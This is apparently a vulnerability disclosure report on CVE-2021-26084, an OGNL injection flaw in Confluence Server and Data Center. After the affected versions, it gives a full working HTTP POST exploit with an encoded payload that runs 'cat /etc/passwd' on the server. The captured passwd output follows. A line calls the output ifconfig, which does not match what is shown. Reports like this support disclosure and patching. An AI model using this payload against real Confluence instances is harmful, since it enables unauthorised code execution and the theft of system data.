In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if ‘Allow people to sign up to create their account’ is enabled. To check whether this is enabled go to COG > User Management > User Signup Options. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0
█████
CVE-2021-26084
POST
(command cat /etc/passwd)
POST /pages/createpage-entervariables.action?SpaceKey=x HTTP/1.1
Host: ███
Content-Type: application/x-www-form-urlencoded
Content-Length: 915
queryString=aaaaaaaa\u0027%2b{Class.forName(\u0027javax.script.ScriptEngineManager\u0027).newInstance().getEngineByName(\u0027JavaScript\u0027).\u0065val(\u0027var+isWin+%3d+java.lang.System.getProperty(\u0022os.name\u0022).toLowerCase().contains(\u0022win\u0022)%3b+var+cmd+%3d+new+java.lang.String(\u0022cat /etc/passwd\u0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(\u0022cmd.exe\u0022,+\u0022/c\u0022,+cmd)%3b+}+else{p.command(\u0022bash\u0022,+\u0022-c\u0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+\u0022\u0022%3b+var+output+%3d+\u0022\u0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}\u0027)}%2b\u0027
You will see the output of the ifconfig command
OUTPUT
type="hidden"
name="queryString" value="aaaaaaaa[root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash
]" />
<input